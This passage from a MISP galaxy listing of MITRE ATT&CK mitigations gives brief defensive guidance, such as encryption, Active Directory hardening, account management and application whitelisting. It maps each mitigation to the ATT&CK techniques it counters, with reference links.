http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1013

Encrypt Sensitive Information - M1041

Protect sensitive information with strong encryption.

The tag is: *misp-galaxy:mitre-course-of-action="Encrypt Sensitive Information - M1041"*

View relationships graph

Encrypt Sensitive Information - M1041 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Traffic Duplication - T1020.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 4733. Table References

Links
https://attack.mitre.org/mitigations/M1041

Active Directory Configuration - M1015

Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.

The tag is: *misp-galaxy:mitre-course-of-action="Active Directory Configuration - M1015"*

View relationships graph

Active Directory Configuration - M1015 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 4734. Table References

Links
https://attack.mitre.org/mitigations/M1015

Accessibility Features Mitigation - T1015

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Accessibility Features Mitigation - T1015"*

View relationships graph

Accessibility Features Mitigation - T1015 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"

Table 4735. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1015
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/cc731150.aspx
https://technet.microsoft.com/en-us/library/cc732713.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Plist Modification Mitigation - T1150

Prevent plist files from being modified by users by making them read-only.

The tag is: *misp-galaxy:mitre-course-of-action="Plist Modification Mitigation - T1150"*

Table 4736. Table References

Links
https://attack.mitre.org/mitigations/T1150

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

The tag is: *misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"*

View relationships graph

Systemd Service Mitigation - T1501 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"

Table 4737. Table References

Links
https://attack.mitre.org/mitigations/T1501

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)

The tag is: *misp-galaxy:mitre-course-of-action="Shared Webroot Mitigation - T1051"*

View relationships graph

Shared Webroot Mitigation - T1051 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"

Table 4738. Table References

Links
https://attack.mitre.org/mitigations/T1051
https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf
https://www.acunetix.com/websitesecurity/webserver-security/

Launch Daemon Mitigation - T1160

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

The tag is: *misp-galaxy:mitre-course-of-action="Launch Daemon Mitigation - T1160"*

View relationships graph

Launch Daemon Mitigation - T1160 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Launchd - T1053.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"

Table 4739. Table References

Links

https://attack.mitre.org/mitigations/T1160

File Deletion Mitigation - T1107

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="File Deletion Mitigation - T1107"*

View relationships graph

File Deletion Mitigation - T1107 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 4740. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1107
https://technet.microsoft.com/en-us/library/ee791851.aspx

User Account Management - M1018

Manage the creation, modification, use, and permissions associated to user accounts.

The tag is: *misp-galaxy:mitre-course-of-action="User Account Management - M1018"*

View relationships graph

User Account Management - M1018 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"

with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launchd - T1053.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable Cloud Logs - T1562.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 4741. Table References

Links
https://attack.mitre.org/mitigations/M1018

Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Redundant Access Mitigation - T1108"*

View relationships graph

Redundant Access Mitigation - T1108 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"

Table 4742. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1108
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Component Firmware Mitigation - T1109

Prevent adversary access to privileged accounts or access necessary to perform this technique.

Consider removing and replacing system components suspected of being compromised.

The tag is: *misp-galaxy:mitre-course-of-action="Component Firmware Mitigation - T1109"*

View relationships graph

Component Firmware Mitigation - T1109 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002" with estimative-language:likelihood-probability="almost-certain"

Table 4743. Table References

Links
https://attack.mitre.org/mitigations/T1109

System Firmware Mitigation - T1019

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)

The tag is: *misp-galaxy:mitre-course-of-action="System Firmware Mitigation - T1019"*

View relationships graph

System Firmware Mitigation - T1019 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 4744. Table References

Links
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf
https://attack.mitre.org/mitigations/T1019

Threat Intelligence Program - M1019

A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.

The tag is: *misp-galaxy:mitre-course-of-action="Threat Intelligence Program - M1019"*

View relationships graph

Threat Intelligence Program - M1019 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 4745. Table References

Links
https://attack.mitre.org/mitigations/M1019

Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data Encrypted Mitigation - T1022"*

View relationships graph

Data Encrypted Mitigation - T1022 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

Table 4746. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1022
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Shortcut Modification Mitigation - T1023"*

View relationships graph

Shortcut Modification Mitigation - T1023 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"

Table 4747. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
